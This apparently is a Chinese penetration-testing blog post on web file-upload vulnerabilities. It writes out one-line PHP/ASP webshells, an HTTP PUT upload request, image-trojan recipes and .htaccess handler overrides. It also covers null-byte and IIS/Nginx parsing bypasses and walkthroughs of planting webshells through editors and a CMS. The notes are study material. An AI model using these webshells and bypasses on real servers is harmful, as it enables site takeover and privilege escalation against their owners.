Web渗透08_文件上传
1 文件上传漏洞概述
文件上传几乎是每一个web,或者说是任何 服务器客户端模式 应用的必备功能,用户在自己的文章,博文中要上相关图片。用户上传自己的头像。网盘用户上传各种文件。等等。若服务器对此没有太多的过滤,让 图片木马, .exe可执行文件, 恶意脚本 上传到服务器上,那么服务器就很有可能会沦陷。一个大马上传到网站里,那么这个网站基本就没了。
引起这个漏洞的原因可能是(1) 服务器的配置不当.(2) 脚本程序对上传的文件没有严格的过滤和格式限制.(3) 没有考虑到服务器的特性。
而文件上传漏洞常常出现在这种场景。攻击者通过一些手段扫描到网站后台,进入网站管理后台页面,一般网站后台都是有各种文件上传的途径。攻击者通过利用 服务器漏洞,服务器配置漏洞,程序限制漏洞,web应用容器(Apache nginx IIS)的一些漏洞。上传小马(利用小马拉大马)。或者直接上传大马。甚至上传包含木马代码的图片,俗称图片木马。利用一些方法执行。一旦上传成功,并可以执行,那这就是一个网站的后门了,俗称Webshell。木马具有自己的登录页面,登陆后.....有一句老话说的好, 拿来吧你!!。
一种防御方法就是将上传文件放到另一个服务器中,哪怕攻击者攻击成功对于主站点也没有影响。
1.1 大马
就是恶意的脚本程序代码, 有自己的登录界面.
1.2 小马
小马通常指一句话木马, 通过连接工具(蚁剑 菜刀)连接, 获得服务器权限.
<?php @eval($_REQUEST['shell'])?>
<%eval request['shell']%> # asp
<%@ Page Language="Jscript"%>
<%eval(Request.Item['shell'],"unsafe");%>
# Asp.Net
2 利用条件
-
Web具有文件上传功能。
-
Web用户对目标目录具有写权限,和执行权限。而web一般都具有 执行权限。
-
上传的文件可以执行,图片木马执行,普通脚本执行
-
服务器配置不当,开启了PUT 方法。
3 防御 利用 绕过
3.1 PUT方法上传文件
http请求方法之一,允许直接上传文件到服务器。不需要任何的脚本代码支持。通过构造http请求即可在服务器上创建文件。
也是渗透测试文件上传测试的必须测试的漏洞。
测试方法
# tel对方主机端口
telenet 11.11.11.11 80
# 连接成功后发送报文
OPTIONS / HTTP/1.1
HOST:11.11.11.11
# 服务器会返回一个它所接受的传输协议列表
GET PUT POST HEAD
# 构造写入文件请求
PUT /info.php HTTP/1.1
HOST:11.11.11.11
Content-Length:18
<?php phpinfo();?> # 18个字符
3.2 前端限制与绕过
前端限制根本没有用!
前端限制一般指 JS event
限制验证。JS验证虽说功能强大,但弱点也是致命的,那就是在本地浏览器上用户可以修改JS代码。
-
打开检查窗口,找到限制的JS代码,修改或删除后再提交。
-
配置浏览器将JS禁用掉。浏览器可以设置不许任何网站运行javascript
-
挂Burpsiut代理,将上传文件的后缀修改为允许上传格式的后缀,Burp中 设置模块Proxy 拦截Intercept is on。 上传允许上传的文件。在Burp抓到的请求包里恢复之前的文件名。点击Forword放过。
3.3 MIME
最早的HTTP协议中,并没有附加的数据类型信息,所有传送的数据都被客户程序解释为超文本标记语言HTML 文档,而为了支持多媒体数据类型,HTTP协议中就使用了附加在文档之前的MIME数据类型信息来标识数据类型。
MIME意为多功能Internet邮件扩展,它设计的最初目的是为了在发送电子邮件时附加多媒体数据,让邮件客户程序能根据其类型进行处理。然而当它被HTTP协议支持之后,它的意义就更为显著了。它使得HTTP传输的不仅是普通的文本,而变得丰富多彩。
每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图象image等,后面定义具体的种类。
有时候服务器检测的是Content-Type类型,这个只要拦截包修改类型再放过即可。
3.4 图片内容检测
无论是前端验证还是Content-Type验证,力度都比较小。都可以利用一些技巧将脚本文件上传到服务器。
所以服务器端脚本还会验证文件内容,非图片文件不可上传。
php的getimagesize()
计算图片大小的同时还会检测是否为图片的编码格式。
这就涉及到了 图片木马。
这样虽然能够上传文件,不过不能运行。
图片木马的制作
- copy smile.jpg/b+info.php/a simle_info.jpg
- 修改图片属性->版权 写入php代码。
- 利用jpg文件头的固定16进制编码,将其复制并转为ASCII,放到PHP文件的php代码之前。可以绕过
getimagesize()
。叫jpg幻术。
3.5 黑白名单检测
服务器还会检测文件后缀。会有文件后缀黑名单,不允许.php |.asp |.jsp
的上传。但是还是有一些特别的文件后缀可以执行。
如
.php .php2 .php3 .php5 .phtml
.asp .aspx .ascx .ashx .asa .cer
.jsp .jspx
3.6 00 截断
就是利用NULL 16进制常用00
URL编码常用%00
文件上传后在服务器的 PHP 临时文件夹创建了一个被上传文件的临时副本。
这个临时的复制文件会在脚本结束时消失。
要保存被上传的文件,我们需要把它拷贝到另外的位置,同时为了重名的因素,会计算出一个随机的文件名,一般与时间有关。
move_uploaded_file(file,newloc)
file是待移动的文件 newloc是移动的目标位置。
由于PHP底层的一些函数是由C语言写的,字符串的读取NULL的影响很大,因为一般读到NULL就算结束了。
我们在save_path=../updload/
后添加test.php%00
。
move_uploaded_file(temp.jpg,../updload/test.php/20210814.gif)
这个是行不通的,在脚本文件下面如何创建一个图片文件(图片木马)?
move_uploaded_file(temp.jpg,../updload/test.php%00/20210814.gif)
这个直接就将保存目的文件路径给截断了,后面的不起作用。C语言认为目标路径就是../updload/test.php
,并把文件内容写入。这就上传了一个脚本啊。不论这些脚本代码保存到什么格式里被上传,最终变成了test.php
都可以运行。
3.7 .htaccess
.htaccess
文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
如果网站允许用户上传.htaccess
文件,那么危害就可想而知了。
在一些网站的核心目录里,不允许用户访问的文件,例如数据库类文件目录,插件文件目录等,里面都会有.htaccess
。进行不允许访问的配置。
# .htacess 文件
Deny From All
3.7.1 以 PHP 的方式解析 PNG
上传一个图片木马Muma.png
,访问就会被当作PHP代码来执行。
# .htacess 文件
AddType application/x-httpd-php .png
3.7.2 文件名包含PHP关键字
当图片文件名 image.php.png
中包含php关键字,并且.htaccess
的配置如下,即图片被当作PHP代码来执行。
# .htacess 文件
AddHandler php5-script php
3.7.3 匹配文件名
在文件中匹配文件名为Muma.jpg
的文件,并以PHP执行。
# .htacess 文件
<FilesMatch "Muma.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
3.8 Web容器文件解析漏洞
Web容器对于各种文件的解析和执行可能会有漏洞,导致一些文件被以脚本文件的形式执行。
3.8.1 Apache(old)文件解析漏洞
info.php.xxx.xx.x
容器会从文件末尾开始解析文件后缀,并决定打开方式。
.x .xx .xxx
它都不认识,最后只能执行 .php
了。
3.8.2 IIS(6.0)文件解析漏洞
-
.asp;1.jpg
本来是图片文件会被当成sap脚本执行。
例子:Image.asp;1.jpg
-
1.asp/image.jpg
1.asp目录下的图片文件会被当成脚本执行。
3.8.3 IIS(7.0|7.5)+PHP CGI 文件解析漏洞 Nignx也存在
此漏洞可以使图片文件以PHP脚本执行。
IIS+PHP 环境搭建。利用映射,映射到PHP的执行程序,CGI关联PHP的配置信息。
使用此功能可以配置从服务器上的网站所使用的 FastCGI应用程序
漏洞利用:www.abc.com/images/asp.png/.php
www.abc.com/images/nginx.png/.php
漏洞修复:php配置文件中 cgi.fix_pathinfo=0
即可修复
3.8.4 Nignx解析漏洞
1 用户配置漏洞
VulHub:https://vulhub.org/#/environments/nginx/nginx_parsing_vulnerability/
该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
www.abc.com/images/nginx.png/.php
2 空字节漏洞
info.html%00.php
其中html里有php代码,用空字节截断,加上 .php 即可运行。
3 文件名逻辑漏洞 CVE-2013-4547
VulHub:https://vulhub.org/#/environments/nginx/CVE-2013-4547/
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
上传1.gif
文件后缀有空格。
访问http://your-ip:8080/uploadfiles/1.gif[0x20][0x00].php
发现图片中的PHP代码被执行。
[0x20]是空格,[0x00]是\0
3.9 富文本编辑器
为了使在web上编写文章像在Windows的Word里一样简单,加粗,标题,添加图片等功能就富集在这个文本编辑器里了。
3.9.1 eWebEditor编辑器
进入网站后台,发现编辑器的文章上传可以设置图片格式白名单,修改白名单允许上传脚本文件即可。
3.9.2 ckeditorb(fckeditor)编辑器
上传脚本Muma.asp
文件,发现不允许上传。
在Burp的回包里发现是IIS6.0,有两个漏洞可以利用。
.asp;1.jpg
1.asp/image.jpg
Burp拦截并修改文件名为Muma.asp;1.jpg
,发现上传不成功
利用第二个漏洞,创建1.asp
文件夹,发现文件夹变成1_asp
。
在创建一个文件夹 Hello并用 Burp拦截,发现创建文件夹CreateFolder=/
在/
目录下创建文件夹。我们修改这个路径为/2.asp/
。Forward放过。 于是创建功了两个文件夹。
/
|__2.asp
|__Hello
成功绕过对创建文件夹名字的过滤。之后利用第二个漏洞上传大图片木马,连接大马出现登录框,键入密码,大马不会跳转。因为解析漏洞的某些原因。
这个时候在2.asp
下 上传图片小马。其实就是上传XMuma.asp
,Burp拦截并修改文件名为XMuma.jpg
。上传成功。连接拿到WebShell并在另一个文件夹中上传大马。
打开cmd, 发现权限很低。上传提权 pr.exe
文件提权。
拿来吧你!!
4 CMS信息管理系统
CMS是Content Management System的缩写,意为"内容管理系统"。 现在市面上很多小的影视网站,阅读网站都用的是CMS模板,几个模板造就了一堆一摸一样的网站。而很多网站都是有文件上传漏洞的
4.1 南方数据管理系统CMS
这是一个asp站点,ACCESS数据库。数据库本身是一个 .mdb 文件,是有下载的可能性的。URL访问这个文件即可下载。
Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。
- 通过 union select 注入链接获得数据库账号密码。
- 御剑扫出后台 登录。
- 数据库备份数据库路径和备份数据库名称都是可修改的。
- 找上传图片的地方,上传 .asp 大马,然后用Burp抓包改文件后缀为.jpg。发现上传成功。得到路径。
- 备份的本质就是文件复制。我们通过文件复制到 shell.asp 。
- 复制成功后,.jpg 文件变为 shell.asp.asa 。网站访问shell.asp的路径即可,不需要加.asa。服务器会把他当成脚本文件执行。
Metinfo v5.0.4 (php)
利用程序编写的漏洞,造成变量覆盖,利用可变的变量绕过各种if 判断语句。
即生成一段URL链接,链接里有很多GET参数变量,利用变量绕过文件上传的一些检测if。
最后自己做一个上传文件表单,处理链接即这段URL。 成功绕过。
<?PHP
foreach($_GET as $key=>$val)
{
$$key = $val;
// $_GET['cmd'] ='123456';
// $cmd = '123456';
// 可变变量。
// 把GET传上来的变量变成PHP变量
}
?>
对代码审计要求比较高。
如果我的工作对您有帮助,您想回馈一些东西,你可以考虑通过分享这篇文章来支持我。我非常感谢您的支持,真的。谢谢!
作者:Dba_sys (Jarmony)
转载以及引用请注明原文链接:https://www.cnblogs.com/asmurmur/p/15131966.html
本博客所有文章除特别声明外,均采用CC 署名-非商业使用-相同方式共享 许可协议。